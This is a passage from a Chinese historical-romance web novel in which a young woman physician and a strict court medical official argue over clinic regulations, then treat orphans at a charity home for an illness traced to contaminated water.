“医官若觉不妥,日后照隅堂若有不周之处,还望您高抬贵手,多加担待便是。” 语毕,她指尖稍一用力,便将那册籍稳稳抽了过来。 册页翻开,扉页赫然是《医馆核查准则》几个大字。她目光快速扫过目录,其核心在于规范医馆诊疗行为,诸如“病症诊治需据实情,不可夸大其词”、“收取费用须在合理范畴,不得逾越病症所需”等条目。 读至此处,孟玉桐指尖一顿,点在“合理范畴”四字上,抬首直视纪昀,语气平静却带着质询:“纪医官,病症千变万化,病人体质各异,何谓‘夸大’?这‘合理范畴’的边界,又在何处?” 方才那句道歉,还让她心中微澜,以为此人转了心性。 如今看着这冰冷刻板的条陈,才知自己终究是多想了。 这般规行矩步、不近人情的做派,倒是一如既往,从未变过。 “孙氏误食巴豆,症见昏厥呕吐,此等食伤脾胃之症,”纪昀眸光沉静,条分缕析,“只需服用几剂藿香正气汤化湿和中,辅以静卧休养,耗费多在二百文之内。 “即便依体质略有增减,合理范围亦不过二百至四百文。你收取一千文,远超常例,便是夸大。” “纪医官只论病症,不论因果?”孟玉桐眉峰微挑,不疾不徐道,“孙氏当日x在我堂中两度呕吐,污损裁剪香囊的锦缎数尺,更弄脏被褥地面。 “清洗所费人力物力,难道不该计入损耗?这一千文中,含此赔偿,可还逾矩?” “一码归一码。”纪昀背后,淡金色的日光透过窗棂斜射而入,将他冷峻的眉眼切割在明暗交界处,更显轮廓分明,字字不容置喙,“诊治费用归诊治,损物赔偿归赔偿。孟大夫大可事后凭据与孙氏另行结算,而非将其混入诊金,含糊了事。 “试想,今日此症你收一千,明日同样症候只收两百,医馆定价岂非儿戏?若日后有人借此攻讦照隅堂收费不公,上下其手,你又当如何自辩?” 他面容肃朗,寸字不让,“千人千面,同病异治,药有增减,价有浮动,此乃常理。 “然是否夸大,是否合理,孟大夫身为医者,心中当有一杆秤,自能衡量。” 话音落定,堂内骤然陷入一片沉寂。 唯余窗外风过庭树,枝叶摩挲的沙沙细响,衬得室内愈发静谧。 孟玉桐垂眸,视线落回手中册页密密麻麻的小字上。 从纪昀的角度望去,只见她半张侧脸沐在淡金色的光柱中,鼻梁纤挺秀逸,在柔和的面容中勾勒出带着倔强的线条。 如同春日雨后枝头一支带露的杏花,于无声处透出令人侧目的坚韧,也惹动观者心底一丝难以言喻的淡淡恻隐。 纪昀眉心微不可闻地蹙起,疑心自己方才言辞是否过于冷肃。 然而转圜安慰之语,既非他素日作风,此刻也实在难以出口。 他薄唇微抿,忽地伸手探向自己置于案边的医箱,掀开箱盖,指尖在其中摸索探寻了几息。《 》 45-50 第46章 第46章同去济安堂 恰在此时,孟玉桐倏然颔首,唇角漾开一抹坦然笑意:“纪医官所言在理。彼时我确有几分意气用事,往后自当引以为戒,谨慎行事。” 纪昀按在医箱中的指尖微微一顿,面上却不显,若无其事地将手收回,置于膝上。 他声音平淡,不着痕迹地转开话头:“若孟大夫方便,可否将照隅堂这半月的诊病细录借我一观?” 孟玉桐依言打开医箱,取出那本记录详尽的册子递过。 纪昀接过,手指快速翻动数页,随即指出:“还有一事,方才那册《准则》中亦有载明:一月之内,同一非处方成药(如香囊、丸散等)售出数量若逾三百份,超出部分,在官册评核时不予计入。” 他抬眼看向孟玉桐,“譬如孟大夫近来售卖的安神香囊,数目便已逾额。” 这细则……究竟是何方神圣所拟?简直处处掣肘! 孟玉桐心中暗恼,只迅速翻开手中册籍寻找。 “第十二页,左上侧,第二段。”纪昀的声音淡淡响起,适时提醒。 孟玉桐依言翻到,目光扫过那清晰墨字,果然白纸黑字写得明白。 安神香囊本是照隅堂立足扬名的关键,她原指望多多售出香囊,借此在评核中拔得头筹,如今这条例无异于断了她心中念头。 她强捺心绪,继续往后翻阅,只见册上条目繁复,细如牛毛: 诊病时,须详录病者症状、脉象、用药依据,不得语焉不详。 售药时,须标明药性、禁忌,不得夸大其效或隐匿其害。 汤药煎煮之法,丸散制作之规,皆须遵循常例,不得擅自增减核心配伍…… 这《准则》之详尽周全,几乎囊括了医馆经营的一应关节,与其说是核查条例,不如说是一部近乎严苛的“行医法典”。 孟玉桐只觉眼前微眩,怎么条条框框都像是专为约束她这新开的小医馆而设? 她“啪”地合上册籍,方才那份从容淡去几分,语速微快:“纪医官思虑周详,我回去定当逐条研读,铭刻于心。” 纪昀将诊病细录递还:“孟大夫聪慧,理解其中要义并非难事。只是这四月记录中,尚有数处不合规范之处,望日后经营多加留意,规避为上。” “嗯。”孟玉桐收拾医箱,起身欲走,“纪医官若无其他示下,我便先行告退了。” “我每月初一、十五,会在此间太医局讲授《伤寒论》与常见杂症诊治。”纪昀目光平静地望向她,“孟大夫若得闲暇,可来一听。” 孟玉桐正俯身将桌案上的诊籍册子仔细收入医箱中,闻言手上动作未停,头也未抬,只随口应道:“好。” “前几日让云舟带去照隅堂的那本《药理》,”纪昀目光落在她忙碌的指尖上,状似无意地提起,语气平淡如同闲聊,“不知孟大夫近日可得空翻阅了?” 孟玉桐合上箱盖,直起身,亦是随口答道:“纪老太爷学究天人,功力深厚,于各类药材之性、气、质、味,见解皆鞭辟入里,独具只眼。此书汇百家之长,详述药材性状本源,阐发药理精微,我近日杂务缠身,只断续看了前几章,已然受益匪浅。”她顿了顿,转向纪昀,客气而疏离地微微颔首,“多谢纪医官赠书。” 纪昀闻言,墨玉般的眸中掠过一丝极淡的笑意,如同春风拂过冰面,虽未彻底融化寒意,却终究荡开了一点柔和的涟漪。 他面上依旧是那副清冷模样,但周身那股生人勿近的气息,似乎悄然缓和了几分,显是心情不错。 “稍后我要往济安堂,为收容的孩童例行诊视。”纪昀也站起身,语意自然,“孟大夫可要同往?” 自上次两人同去济安堂诊治后,孟玉桐已有近一月的时间没有去过济安堂了。 开医馆后,她偶尔会让白芷送些药茶药粥过去,不过入内诊治什么的,没有纪昀的同意,她没单独进去过。 孟玉桐收拾的动作这才顿住,抬眼看向他,旋即点头:“好。” 两人遂一前一后步出集议堂,并肩行于太医局清幽的庭院小径。 三两学子结伴而行,见纪昀经过,纷纷驻足行礼问好。 纪昀步履微缓,神色虽依旧清冷,却也一一颔首回礼。 “纪医官身兼数职,”孟玉桐走在他身侧,语气听不出情绪,“既要处理医官院繁重公务,又需分身于太医局传道授业,更兼济安堂义诊善行,如今新政核查重担亦落于肩头,当真辛劳非常。” 字字似在称赞,可细细一听,却能听出几分不寻常的意味。 她似乎是对方才那册籍上所写诸多事项不甚满意? 纪昀偏首看她一眼。孟玉桐在他面前,从来都是疏离浅淡的,甚至有几次相处时,他能明显从她身上感受到几分敌意。 今日这般好似带着些许小性子的直言,倒比之前那副滴水不漏的疏离模样,让他觉得更真实些。 他行医多年,向来欣赏有真才实学且心怀抱负之人。 对于孟玉桐独自开馆行医的胆识,于药方配伍上的巧思,乃至她偶尔露出爪牙时的锋芒。 他不想掩饰,他对孟玉桐,亦有欣赏。 一抹极淡的笑意,蜻蜓点水般掠过他的唇角。 他放缓声音,字句清晰,带着一种沉静的力量:“既择医道,便当以济世活人为毕生所求。推行医政,是为惠及更多生民;传道授业,是为薪火相传;坐堂诊脉,更是医者本分。但求所行之事于人有益,纪某便甘之如饴,何敢言苦?” 纪昀的声音如他的人一样,一贯是清冷的,带着几分让人难以接近的冷硬。可此时听他谈及医道宏愿,倒是难得从他声音中感受到几分暖意。 像是山涧冰雪消融,流水淙淙,落在耳边竟觉出几分隐隐生机,暗藏力量。 令人闻之心弦微动。 孟玉桐脚步不由一滞,侧首望向他清隽的侧影,竟有一瞬失神。 “孟大夫,”纪昀的步子迈得极缓,两人几乎停驻在道旁葱郁的树荫之下。 他转眸,目光落在她脸上,“缘何选择行医济世之路?” 孟玉桐迎上他的视线,坦然道:“自然与世间大多医者一般,为治病救人。” “治病……救人?”纪昀低声重复,似在咀嚼其中深意。 “是,”孟玉桐颔首,目光掠过纪昀肩头,投向远处虚空。眸底深处掠过一丝与她这般年纪不符的怅惘与苍茫,她声音沉冷,如同隔世回望,“治心中沉疴,救困厄之身。” 不知为何,她说出此话时的神情,与那日在照隅堂门前道出“莫向外求”四字时,如出一辙。 带着洞悉世情的忧郁,却又在怅然之后,归于一片澄澈的释然与洒脱。 “不知孟大夫如今,”纪昀眸中掠过一丝极淡的波澜,声音低沉了几分,“心中沉x疴可已痊愈?” 细碎的日光穿过层层叠叠的枝叶,筛落一地淡金色的光斑。 微风拂过,枝叶轻摇,那跃动的光点便如涧中灵动的游鱼,在她光洁的额头、挺秀的鼻尖、嫣红的唇畔轻盈流转。 孟玉桐闻言,一道笑意自唇边漾开。 一点跃动的光斑恰好落在她微扬的眉骨上,衬得那双乌黑眼眸清光湛然,令人难以移开视线。 她朗声应道:“大约已愈。往后只会更好。” 纪昀凝望着她眼底流转的光华,缓缓颔首。 不知为何,心中闪过一丝微涩。 两人不再多言,默契地并肩向太医局大门行去。 门外侧旁,静静停着一架青幔素帷的马车,样式朴素低调。云舟坐于车辕,见纪昀出来,立时示意车夫将车驱至二人面前。 “孟大夫,一起吧。”纪昀侧身,抬手相邀。 车厢内里颇为宽敞,容纳两人绰绰有余。孟玉桐并未推辞,低声道了句“有劳”,便轻提裙裾,利落地登车而入。 纪昀等她坐稳,方才撩袍随后踏入。 云舟隔着帘隙向内望了一眼,待两人坐定,便示意车夫扬鞭,青幔马车稳稳驶离太医局,向着济安堂的方向辘辘而去。 甫一坐定,孟玉桐便发觉这车厢内里比外观瞧着要局促不少。两人相对而坐,膝头之间不过盈尺之距,稍有大些的动作,衣袂袍角便难免相触。 她不动声色地向后靠紧厢壁,又将双腿往里收了收,侧身撩起车帘一角,佯作观览街景,目光却有些游离。 对面的纪昀亦坐得笔直,脊背紧贴车壁,下颌线条微绷,显出一份刻意的疏离与不自在。 马车驶离太医局,途经一间门楣高悬“济世堂”金漆招牌的医馆。 孟玉桐目光被吸引,只见堂内一个身着灰色短打的年轻人正挥舞着一本眼熟的靛蓝封皮小册,对着一位须发皆白的老大夫激动争辩: “狗屁医官院!尽整这些幺蛾子!” “早知如此麻烦,老子才不去参选这劳什子官册名单!” “瞧瞧!这是人写的东西吗?条条框框,比裹脚布还长!” …… 那人手中的小册实在眼熟,她探出头往外看了看,正是纪昀方才给她的那本细则。 原来如此。 孟玉桐唇角弯了一下,心下豁然。她放下车帘,转回头看向对面神色清冷的纪昀,眸中带着一丝了然的笑意:“纪医官所辖的三家医馆之中,这济世堂想必也在其列?” 纪昀颔首:“正是。” 孟玉桐忽而轻笑出声,声音极轻,却清晰地落在狭小的车厢里。 “孟大夫因何发笑?”纪昀抬眸,目光沉静地锁住她。 “只是有些好奇,”孟玉桐指尖点了点医箱,“纪医官这‘鸿篇巨制’,是独独‘厚待’我们三家,还是临安城所有欲入官册的医馆,都得奉此圭臬?” 纪昀眸色微凝:“此《准则》乃统一颁行,非独尔等。至于……”他微微一顿,探究地看着她,“我似乎并未说过这册子是我亲笔所撰,孟大夫如何得知?” “这有何难?”孟玉桐忆起那封册籍,语气笃定,“条理之清晰,规范之严苛,逻辑之缜密,简直密不透风。字里行间透出的那股子一丝不苟的劲儿,一看便是纪医官的手笔。” 上一世与他好歹也做了几年夫妻,对他的行事风格再熟悉不过。 翻看两页,那恨不得将医馆碾药声大小都规定好的细致劲儿,除了纪昀,还能有谁? “章程条例清晰完备,”纪昀似乎并未听出她话中的戏谑,或是听出了也选择忽略,他神色认真,语重心长道,“初时或觉繁琐掣肘,然一旦形成规范,熟稔于心,便能事半功倍,驾轻就熟。 “医馆经营,根基在于‘稳’与‘信’。前期将这些功夫做足,看似耗费心神,实则为日后规避无数隐患,奠定长久之基。切莫轻视这打根基的功夫。” 他难得说了这许多话。 他看得出孟玉桐天赋卓绝,机敏过人,无论是应对孙氏构陷,还是与李璟周旋,都游刃有余。 然她行事锋芒过露,有时甚至带着点不顾后果的锐气,于医馆经营一道,更显经验不足。 今日既同车,他不介意费些唇舌点明其中利害,既是为她长远计,也省得日后因她行事不周,徒增自己核查的麻烦。 “纪医官深谋远虑,用心良苦,玉桐受教了。”孟玉桐从善如流地应道,面上笑容得体。 她心中却明镜似的。纪昀此人,重章程、讲规矩到了严苛的地步。 在他面前,想探讨那些灵活变通、甚至有些“离经叛道”的解法,无异于缘木求鱼。 这册子上的内容,无伤大雅、不碍经营的,她自会照做。 但医馆开门迎客,千头万绪,突发状况层出不穷,岂是区区一本册子能面面俱到的? 纪昀再是心思缜密,也难算尽天下事。只要面上能过得去,不触及根本,些许灵活之处,她自有分寸。 马车穿过繁华御街,拐进一条青石板铺就的幽静小巷。巷子尽头,便是济安堂。 “纪医官,”孟玉桐打破沉默,带着几分好奇问道,“城中如济安堂这般收容孤寡病弱的善堂,其他养老院、救济所之类,可也有医官院照拂?” “嗯。”纪昀颔首,声音平稳地解释,“往年朝廷设有专司,拨付银钱物资于各善堂,其中亦含延医问药之资。 “然核查之下,发觉常有大夫推诿搪塞,或索价高昂,致使孤老病弱求医无门。 “故医官院改革旧制,为每家善堂分派固定医官,定期亲往义诊。所耗药材、人力,皆由医官院统一调拨支应,不取善堂分文。” “原来如此。”孟玉桐眼中流露出真诚的赞许,“这般体察民情、务实为民的举措,想来必是院使大人高瞻远瞩,当真是位心系百姓的好官。” 听她如此盛赞朱直,纪昀眼前忽然浮现出朱直那张圆润的滑稽的脸,若是他知道有人这般夸他,又要翘起尾巴了。 他唇角极淡地向上牵动了一下,旋即恢复如常。此时,马车已稳稳停在济安堂大门外。 “孟大夫,到了。”纪昀撩开车帘,示意道。 孟玉桐应声起身。车厢低矮,她只得半弓着腰往外走。行至车辕处,正欲下车,才忽然想起医箱落在车厢里了。 她下意识转身欲回取,动作太过突然。紧随其后准备下车的纪昀猝不及防,只觉眼前人影一晃,便有人撞进了怀里。 车辕狭窄,立足不稳。纪昀被撞得身形一晃,一手猛地向后撑住车壁稳住重心,另一只手下意识地揽住了怀中人的肩背,以防她失衡跌落。 掌心隔着薄薄的春衫,传来温热的触感与清晰的肩胛轮廓。 清浅的薄荷草叶香瞬间盈满鼻端,带着初夏清晨露水般的凉意。 孟玉桐站稳脚跟,倏然抬首。四目相对,不过电光火石的一瞬,两人便如同被烫到般,目光飞快地各自错开。 纪昀按在她肩背上的手猛地撤回,指尖仿佛残留着异样的灼热感。 他迅速侧过脸,耳根处泛起一丝极淡的红晕,声音却竭力维持着平日的清冷:“可是……落了东西?” 孟玉桐亦觉尴尬,勉强扯了扯嘴角:“我的医箱还在里头。” “你且下去稍候。”纪昀的声音略显紧绷,言罢便迅速矮身,重新钻回了车厢。 孟玉桐见状,深吸一口气,压下心头那点异样,利落地提起裙摆,稳稳跃下车辕。 云舟候在一旁看了眼方才的情形,有些目瞪口呆。等他回过神伸手欲扶,却被她轻轻摆手婉拒。 不多时,纪昀拎着两只医箱也下了车,将孟玉桐的那只递还给她。两人一前一后推门进了济安堂。 秋娘正忧心忡忡地在院中踱步,一见纪昀与孟玉桐,如见救星,忙迎上前:“纪医官,孟大夫,你们来得太是时候了!” 她引着两人往内院疾走,语气焦灼,“堂里小辉和杏儿两个孩子,自昨日起便高热不退,用了些寻常的风寒散剂,今日非但不见好转,反倒嚷起腹痛难忍。我正愁着要去请纪医官呢!” 三人步履匆匆赶往孩子们的屋舍。路上,纪昀沉声询问:“两个孩子年岁几何?平素体质如何?近日可有异样饮食?” 秋娘急急答道:“都是十一岁,往日身子骨还算结实,少有病痛。吃食上都是跟着堂里大伙儿一起,并无特殊。这两日也没见他们乱吃别的东西。” 为了方便照料,两个孩子被单x独安置在一间清净的小屋里。 推门而入,只见室内陈设简单,两张小床相对而设。 男孩小辉躺在左侧床榻,女孩杏儿在右侧,皆蜷缩着身子,面色苍白如纸,额上沁着细密的冷汗,显是痛苦难当。 纪昀径直走向小辉床畔。只见那男孩双目紧闭,气息急促,面颊虽因高热泛着不正常的潮红,唇色却黯淡。 纪昀伸出微凉的指尖探其颈侧,触手滚烫。再细观其眼白,隐隐可见血丝密布。 最引人注目的是其颈项、胸腹处皮肤,赫然浮现出数点淡红色的玫瑰色斑疹,正是伤寒重症的典型之兆。 在纪昀身边快速扫过小辉症状后,孟玉桐默契地转向右侧床榻。 她俯身仔细检视杏儿,女孩症状与小辉如出一辙:高热、腹痛、同样稀疏分布的淡红玫瑰疹。 孟玉桐轻轻按压杏儿腹部,女孩痛得呻吟出声,蜷缩更紧。 秋娘看着两个孩子受苦,心焦不已:“这……这究竟是何病症?怎地来得如此凶险?” 纪昀的目光投向孟玉桐,带着征询,似想听听她的意见。 孟玉桐会意,沉声道:“观其高热、玫瑰疹、腹痛如绞,当是伤寒兼痢之症。秋娘,你方才说两个孩子近日饮食与堂中其他孩子无异,可还有其他入口之物?” 秋娘凝眉苦思,忽然想起什么,快步走到两张小床中间的矮几旁,端起上面两只尚余半筒清水的竹筒:“对了!小辉和杏儿前日去一文医馆帮了两日忙,这水是他们带回来的!定是喝了这个!” 她懊恼地将竹筒分别递给纪昀和孟玉桐,“我们堂里平日喝的都是后院井水,大家都没事。就他们俩,喝了这个……” 一文医馆的主事孙一文,年近花甲,在北御街行医多年,颇有仁心,救助过不少贫苦百姓。 因其年轻时曾有功名在身,又得乡绅推举,便兼任了这济安堂的堂主,总揽堂中事务。 只是他医馆事忙,济安堂的日常运转多由其妻打理。 堂中年长些的孩子,常会出去做些力所能及的活计,挣些零钱。一文医馆忙碌时,孙一文便会请秋娘派几个孩子过去帮手。 纪昀接过竹筒,凝神细观。 只见筒中水质看似寻常,但细辨之下,其色泽略显沉浊,不如清泉那般澄澈透亮,流动时亦稍显凝滞。他将竹筒凑近鼻端,细细嗅闻,眉头微蹙:“这水大约有问题,只是气味似乎并无明显异样。” 这水表面上并无太大破绽,但若真如秋娘所言是致病之源,其隐患必藏于无形。 他准备带回医官院,交由精于药毒辨析、常年与各类药材毒素打交道的医直陈玢详加查验。 孟玉桐手上的那一份让秋娘先保管起来,后续或为证物。 他转头,只见孟玉桐已用手在竹筒中轻轻一蘸,随即毫不犹豫地点向自己的舌尖。 “你!”纪昀有些不敢相信自己的眼睛。 他几乎是本能地劈手夺过孟玉桐手中的竹筒,动作迅疾,竹筒剧震,筒中冰凉的水猛地晃荡泼溅而出,一大片淋漓地打湿了他月白常服的手背与前襟袖口,迅速洇开一片深色的水痕。 “此水来历不明,暗藏凶险,你怎可如此轻率!”他声音低沉,带着急促,紧盯着孟玉桐,脸上那常年冷漠淡然的神色第一次出现崩裂。 孟玉桐却恍若未觉他的怒意,舌尖细细品味那微乎其微的液体,片刻,她神色凝重地颔首:“水质沉浊,入口微涩,隐有铁锈般的苦意回泛,绝非寻常净水。” 秋娘在一旁看得心惊肉跳,连连拍手急道:“哎哟我的孟大夫!您怎么能直接尝啊!这要是吃出个好歹来,我可怎么担待得起!” 孟玉桐安抚地朝秋娘摇摇头:“秋娘不必忧心。我仅以舌尖沾取微量,浅尝辄止。毒性强弱,剂量乃关键。如此微末之量,于成人而言,尚不足以构成威胁。” 她语气平静,“稍后漱口即可无碍。” 秋娘这才稍稍安心,又看向纪昀湿了大片的衣袖,关切道:“纪医官,您这衣裳……” “无妨。”纪昀打断她,面上已恢复惯常的清冷。他看也不看湿透的袖口,径直从自己医箱中取出一个皮质水囊,面无表情地递向孟玉桐:“干净的,速去漱口。” “对对对!孟大夫快去漱漱口!”秋娘也迭声催促。 孟玉桐看着那递到眼前的水囊,略一迟疑,终究还是接了过来:“有劳纪医官。” 她转身快步出了屋子。 握着那还残留一丝他掌温的水囊,心头掠过一丝异样。 她知道纪昀有洁癖,从不直接对嘴饮水,这水囊应是无碍。 可到底……她摇摇头,摒弃杂念,行至院中,拔开塞子,将水囊高高举起,清澈的水流倾泻而出。 她微仰起头,只让那水略沾唇齿便迅速倾吐而出,反复数次,确保口中再无残留。 不过几息功夫,便已盖好塞子,转身回屋,将水囊递还给纪昀。 “多谢。”她低声道,目光扫过他湿透的袖口。 第47章 第47章人生在世,各有其劫。…… 孟玉桐步入屋内,正欲将手中的水囊递还给纪昀。 进门时,恰听见纪昀正与秋娘低声交代,语气沉肃:“务必即刻遣人知会一文医馆孙大夫,言明水源或遭污染,请其暂停取用,并详查供水来源。济安堂上下,亦须暂时禁用外供水源,一切饮水皆取用后院井水。” 她上前,将水囊递过,目光不经意扫过他衣袖上那片深色的水渍,声音平稳:“多谢纪医官。” 纪昀停下话语,转头看向她,目光在她脸上细致扫过,带着审视:“可觉不适?” 声音虽依旧清冷,却比平日低沉半分,隐约透出几分不易察觉的小心关切。 “无碍。”孟玉桐摇头,方才在门外已听到两人对话,心知事态严重,“御街北段日常用水,多半引自城外玉带河。当务之急,是速查污染源头。在查明之前,通告沿河百姓暂用井水,更为稳妥。” 纪昀伸手接过水囊。指尖触及皮质外囊上残留的浅淡体温,动作几不可察地微微一顿,面上掠过一丝极快的不自然,旋即恢复如常,稳稳接过,沉声道:“孟大夫所言甚是。我会即刻着医官院详查此事。然未得确证之前,不宜妄下论断,以免引发百姓恐慌。” “纪医官思虑周全,自有分寸。”孟玉桐颔首,目光转向床榻上因痛苦而蜷缩呻吟的两个孩子,眸中泛起真切的不忍,“既已确诊为伤寒兼痢,此症凶险,转变迅速,尤在稚龄孩童身上,最是耗损元气。 “或可先以葛根黄芩黄连汤加白头翁、秦皮等药,清热燥湿,凉血止痢,急挫其势。再观病情变化,随时调整方药。 “然此类药材,济安堂中恐无充足留存。照隅堂离此不远,不如由我开好方子,遣伙计即刻将所需药材送来煎煮?” 秋娘闻言,眼中满是感激:“这……这可真是劳烦孟大夫了!我代孩子们谢过!” “有劳孟大夫。”纪昀亦道,随即转向秋娘,语气果断,“秋娘,去将其他需诊视的孩子唤来吧。” 秋娘应声而去,纪昀与孟玉桐便移步至上回看诊的厅房。 两人于长桌两端落座,一左一右,划分区域。 纪昀负责男童,孟玉桐照料女童,各自凝神诊脉、开方,室内只余孩童细弱的陈述。 一个多时辰悄然流逝,日头渐近中天。纪昀处终于处理完所有男童的诊务,开好药方。孟玉桐这边,也只剩下小雪。 小雪年纪最小,却是个十足的小馋猫。 上回孟玉桐来,医箱里备了些零嘴。今日来得匆忙,未曾预备。 小雪眼巴巴瞅着那空荡荡的医箱,一双原本亮晶晶的眸子瞬间黯淡下来,小嘴微微撅起,那失落的小模样,看得孟玉桐心头一软。 “小雪乖,”孟玉桐放柔声音,“今日姐姐来得急,没带点心。晚些时候,我托人送药的时候给你捎些糕来,可好?” 小雪闻言,眼睛倏地又亮了起来,用力点头如捣蒜。 她欢快地跳下凳子,几步跑到孟玉桐身边,小小的身子恰好挤在孟玉桐与纪昀座位之间的空隙里。 她伸出小手,拽了拽孟玉桐的衣袖。 孟玉桐不明所以,含笑微微倾身俯就。她这一俯身,如瀑的青丝便自肩头滑落,眼看几缕发梢就要垂扫在地面上。 纪昀眉头下意识一蹙,几乎是下意识地伸出手去,修长的手指在空中一x掠,稳稳地将那缕即将落地的青丝拢入掌心。 触感微凉、柔滑,带着丝绸般的质感。 发丝滑过掌心肌肤,带来一阵细微的、难以言喻的酥麻与微痒,如同羽毛拂过手心。 他动作极快,一触即收,将那缕发丝轻轻搁在她肩后。 小雪见孟玉桐俯身凑近,脸上绽开灿烂的笑容,踮起脚尖,响亮地“啵”了一声,在她右颊上结结实实地亲了一口。 亲完,自己倒先羞了,小手捂住眼睛,转身一溜烟就跑得没影了。 孟玉桐捂着被亲的右颊,先是微愕,随即眼中漾开暖意,唇角也跟着弯了弯。 她下意识抬眼,目光不期然与纪昀撞个正着。 纪昀清冷的眸底掠过一丝极细微的波澜。 他迅速收回目光,将方才拢过青丝的手紧握成拳,背至身后,面上恢复一贯的疏离淡然,仿佛方才那瞬间的动作从未发生。 他不着痕迹地转移话题: “今日小辉、杏儿所用汤药,以及孟大夫此次在济安堂所有施诊的诊金,”他目光落在孟玉桐案头的记录册上,“你可在照隅堂经营细册中详录。下次核查时,我以医官院的名义与你结算。此外,” 他顿了顿,“今日你所诊治的堂中孩童,其病例亦可计入照隅堂本月诊治人数。 “另则,此前议定的每月集议之事,照隅堂地处济世堂与孙氏医馆之间,位置居中。为省去诸位奔波之苦,我想,日后集议便定在照隅堂旁的清风茶肆进行。孟大夫以为如何?” 这番话,条条款款,句句皆落在孟玉桐心坎上。 当初来济安堂行善,虽有借纪昀医官举荐之名开馆的考量,但亲眼目睹这些失怙孩童的境遇,她心中亦有不忍。 若能以医术稍作改善,亦是善举。 她本不求回报,但若能将这些善行转化为实打实的医馆业绩,纳入评核,于公于私,皆是美事。 孟玉桐坐直身子,顺手将方才被小雪拉扯微乱的鬓发捋至耳后,笑容明澈:“纪医官安排周到,多谢体恤。” 纪昀的目光在她鬓边那缕已妥帖归位的青丝上极快地掠过,淡声回应:“分内之事。今日济安堂,亦多赖孟大夫援手。” 待两人处理完所有事务,日头已然偏西。秋娘热情相邀:“两位忙了这大半日,水米未进。堂里备了些粗茶淡饭,若不嫌弃,便在此随意用些吧?” 用饭之处设在孩子们的饭堂,此时已空无一人,显得格外安静。 秋娘在靠窗的一张方桌上摆好了几样清粥小菜,虽简单,却也干净清爽。 “都是些家常味道,两位请慢用。”秋娘招呼完,便转身去后厨张罗孩子们的晚饭了。 孟玉桐与纪昀相对而坐,窗外日头正盛,将济安堂的庭院镀上一层暖融融的金辉。 院中那架简陋的秋千在微风中轻轻摇晃,几只木马静静伫立。 几个稍大的孩子正在青草丛中追逐翩跹的彩蝶,清脆的笑闹声隔着窗棂隐隐传来。 不远处的屋檐阴影下,小雪独自蹲坐,小小的身影沐浴在背阴的清凉里。 她仰着小脸,专注地盯着草丛中飞舞的蝶影,一边笨拙地伸出纤白的小手,十指聚拢、交叠,努力在身前的地面上投下一个蝴蝶形状的影子。 光影变幻,她沉浸在自己的小世界里,自得其乐,那专注而恬静的侧影,令人心头微软。 “小雪她一直不能说话吗?”孟玉桐的目光落在小雪身上,声音放得很轻。 纪昀亦循着她的视线望去,眸色沉静:“她约莫一岁多时被遗弃在济安堂门口,自那时起,便从未开口说过话。” “今日为她诊脉时,我留意过,”孟玉桐回忆道,“舌体伸缩自如,吞咽无碍,对周遭声响反应亦算灵敏。依此看来,应非天生喑哑。” 她顿了顿,补充道,“只是这孩子性子太过怯懦。初见我时,眼神躲闪如受惊小鹿,稍一触碰便浑身僵硬。唯有独处时,才显出几分自在松弛。” 她观察到小雪对着蝴蝶影子时那无声的模仿与专注,那分明是内心有表达欲的证明。这失语之状,更像是因什么事情而自我封闭了心窍,是心墙高筑,而非喉舌之疾。 这些推测她并未宣之于口,以纪昀之能,又岂会不知? “是心病,”纪昀的声音低沉,洞悉而沉凝,“她来济安堂后,我针对她的症状开过许多方子,效用都不大。” 窗外斜射而入的日光,恰好自他高挺的眉骨处落下,将他的眼眸笼罩在暗影里,眸底情绪幽深难辨,“大约幼年遭遇剧变,心魂受创,故闭锁心扉,拒与外界言通。此症非金石汤药可解,唯待其心门自启,方有转圜之机。” “她年纪尚小,只怕没那么容易。不过纪医官倒是同我想的不太一样,这般没有希望,难以治愈的顽疾,纪医官竟也不曾放弃么?” 孟玉桐想起母亲去世那年,自己似乎也是同她一样,只想找一处小角落将自己包裹起来,谁也不要靠近才好。 可真的没人管自己时,心中又矛盾地想,怎么没人来看看她呢。 真的只有自己一个人了吗?她真的被人丢弃了么? “孟大夫说笑,若换作是你,纪某相信你只会做的更好。医者父母心,当以济世活人为先,不该因惧祸患麻烦而弃病者于水火。” “不过,医者医身难医心,人生在世,各有其劫。”纪昀的声音清冷依旧,带着一种近乎残酷的平静,“此劫是她必经之路。若能渡过,前方便是坦途;若不能……” 他微微一顿,目光投向远方虚空,“亦是其命数使然。纵使终生缄默,在这济安堂中,总有一隅可容她安身立命。平安喜乐,粗茶淡饭,如此一生,未必不是一种福分。” 这番道理虽无错,听在孟玉桐耳中,却觉过于冷静,甚至透着一丝不近人情的漠然。 她沉默下来,不再接话。两人相对无言,只余碗箸轻碰的细微声响,在静谧的饭堂中回荡。 饭毕,孟玉桐去为小辉和杏儿开具药方。纪昀因下午尚需往太医局授课,便先行告辞离去。 孟玉桐将药方仔细写好,连同煎煮火候、服用禁忌等一一叮嘱秋娘。纪昀不在,秋娘便拉着她多聊了几句。 “此番真是劳烦孟大夫了,又开方又送药的。”秋娘感激道。 “秋娘不必客气,”孟玉桐温言道,“此番出诊,诊金药费自有医官院结算。医官院能体察下情,专设此策,分派医官对接城中善堂,解孤弱病患求医之难,此等务实为民之举,才真正令人感佩。” 秋娘闻言,眼中顿时流露出由衷的赞同与敬意:“医官院其他大人如何,我不敢妄言。可纪医官,那真是顶顶好的医官。医术高明不说,更难得的是心系百姓,专做实事!” 她话语间满是推崇,“您道这善堂分派医官义诊的良策是谁力主的?正是纪医官!自他担起济安堂这摊事,我这心才算落回肚子里。 “堂里孩子小,身子骨弱,三天两头闹毛病。从前没这规矩时,孩子病了,得我们厚着脸皮去医馆请大夫。唉,那真是难啊! “别的医馆嫌麻烦,诊金又少,十回有九回请不动。记得有一回,我跑了好几家都没请到大夫,急得在街边掉眼泪,恰好遇见纪医官背着药箱路过。 “他听了我的难处,二话没说,跟着我就来了济安堂。打那以后,他常常自己抽空来,分文不取地给孩子们瞧病。我心里实在过意不去,总想着给点诊金。 “谁知没多久,他就上书医官院,把这善堂医官对接的制度给立起来了!自那以后,堂里的孩子们才算有了依靠,我这颗心,才算是真正踏实了!” 孟玉桐脸上掠过一丝讶异。她未曾想到,这竟也是纪昀的主意。这般心系孤弱、躬身践行,倒是与她印象中那个冷峻刻板的纪昀,有些不同。 秋娘见她垂眸若有所思,话锋忽地一转:“孟大夫年纪轻轻,就开了这么大一间医馆,人又生得这般标致,心地还善,真是难得!不知……可曾许了人家?我有个侄儿,年纪与你正相当,人品……” 孟玉桐没料到话题忽转至此,面上微赧,忙不迭摆手:“多谢秋娘美意,我这便回医馆抓药去,两个孩子病情耽搁不得。” 